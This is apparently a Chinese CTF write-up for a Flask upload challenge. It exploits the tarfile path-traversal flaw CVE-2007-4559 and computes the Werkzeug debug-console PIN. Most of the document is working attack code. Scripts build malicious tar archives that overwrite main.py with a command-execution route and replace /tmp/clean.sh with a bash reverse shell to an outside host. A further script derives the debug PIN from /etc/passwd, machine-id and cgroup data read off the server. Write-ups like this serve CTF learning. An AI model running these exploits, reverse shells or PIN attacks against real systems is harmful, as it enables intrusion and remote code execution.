Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协助的远程攻击者通过 TAR 存档文件名中的…和/遍历目录 和 写入/覆盖任意文件
关键代码
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
extractall函数如果结合包含../
的文件名时可以实现文件覆盖漏洞
脚本如下
import re
import time
import requests as req
import tarfile
url = 'http://node5.anna.nssctf.cn:28560/'
filename = r"main.py"
def changeFileName(filename):
filename.name='../../../app/main.py'
return filename
with tarfile.open("exp.tar", "w") as tar:
tar.add(filename,filter=changeFileName)
def upload(rawurl):
url = rawurl + "upload"
response = req.post(url = url, files = {"file":open("exp.tar",'rb')})
print(response.text)
if __name__ == "__main__":
upload(url)
脚本大概过程如下
main.py
,然后定义了新的文件名来实现文件覆盖最终实现覆盖main.py
PIN 的生成流程分析,可以知道 PIN 主要由 probably_public_bits 和 private_bits 两个列表变量决定,而这两个列表变量又由如下6个变量决定:
username 启动这个 Flask 的用户
modname 一般默认 flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般默认 flask.app 为 Flask
getattr(mod, '__file__', None)为 flask 目录下的一个 app.py 的绝对路径,可在爆错页面看到
str(uuid.getnode()) 则是网卡 MAC 地址的十进制表达式
get_machine_id() 系统 id
那又如何获取这6个变量呢?因为 modname 一般默认 flask.app,getattr(app, '__name__', getattr(app.__class__, '__name__'))
一般默认 flask.app 为 Flask,所以主要获取剩下的4个变量即可。
liunx下PIN码中的username 可以从 /etc/passwd 中读取
cat /etc/passwd
此题为root
然后可以看到环境为python/3.10.1
那么绝对路径为
/usr/local/lib/python3.10/site-packages/flask/app.py
cat /sys/class/net/eth0/address #或者是/sys/class/net/ens33/address
最后的系统id包括两部分
我们先读取/etc/machine-id
(也可以是/proc/sys/kernel/random/boot_id
)
cat /etc/machine-id
然后读取/proc/self/cgroup
并且只读取第一行,并以从右边算起的第一个/
为分隔符
cat /proc/self/cgroup
也就是下图的8a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44
把信息收集齐后就可以计算PIN码
脚本如下
import hashlib
from itertools import chain
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'2485376927778',
'96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
我们可以看到debug是开启的,那么当文件发生修改时会自动重载,可以直接覆盖main.py
(main.py可以猜,路径可以慢慢试出来)
那么我们只需要可以直接RCE的main.py覆盖即可
main.py
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os
app = Flask(__name__)
@app.route('/download', methods=['GET'])
def download_file():
filename = request.args.get('filename')
return os.popen(filename).read()
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True, port=80)
解释一下,就是./download
路由下,参数filename可以命令执行
上传脚本
import re
import time
import requests as req
import tarfile
url = 'http://node5.anna.nssctf.cn:28560/'
filename = r"main.py"
def changeFileName(filename):
filename.name='../../../app/main.py'
return filename
with tarfile.open("exp.tar", "w") as tar:
tar.add(filename,filter=changeFileName)
def upload(rawurl):
url = rawurl + "upload"
response = req.post(url = url, files = {"file":open("exp.tar",'rb')})
print(response.text)
if __name__ == "__main__":
upload(url)
源码
# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
with open(__file__, 'r') as f:
return f.read()
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return '?'
file = request.files['file']
if file.filename == '':
return '?'
if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a tarfile'
try:
tar = tarfile.open(file_save_path, "r")
tar.extractall(app.config['UPLOAD_FOLDER'])
except Exception as e:
return str(e)
os.remove(file_save_path)
return 'success'
@app.route('/download', methods=['POST'])
def download_file():
filename = request.form.get('filename')
if filename is None or filename == '':
return '?'
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if '..' in filename or '/' in filename:
return '?'
if not os.path.exists(filepath) or not os.path.isfile(filepath):
return '?'
if os.path.islink(filepath):
return '?'
if oct(os.stat(filepath).st_mode)[-3:] != '444':
return '?'
with open(filepath, 'r') as f:
return f.read()
@app.route('/clean', methods=['POST'])
def clean_file():
os.system('su ctf -c /tmp/clean.sh')
return 'success'
# print(os.environ)
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
利用CVE-2007-4559进行任意写文件,然后覆盖/tmp/clean.sh
,然后访问clean路由触发反弹shell
exp.sh
bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'
exp.py
import re
import time
import requests as req
import tarfile
url = 'http://node5.anna.nssctf.cn:28417/'
filename = r"exp.sh"
def changeFileName(filename):
filename.name='../../../tmp/clean.sh'
return filename
with tarfile.open("exp.tar", "w") as tar:
tar.add(filename,filter=changeFileName)
def upload(rawurl):
url = rawurl + "upload"
response = req.post(url = url, files = {"file":open("exp.tar",'rb')})
print(response.text)
def clean(rawurl):
url = rawurl + 'clean'
response = req.post(url)
print(response.text)
if __name__ == "__main__":
upload(url)
time.sleep(1)
clean(url)
关键步骤,要给exp.sh赋予可执行的权限
chmod +x exp.sh
这里扫了一下目录,发现存在./console
(也就是debug的路由)
所以接下来计算PIN码
详细的获取过程在前面的考点有提及
直接给出脚本
import hashlib
from itertools import chain
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'2485376927778',
'96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)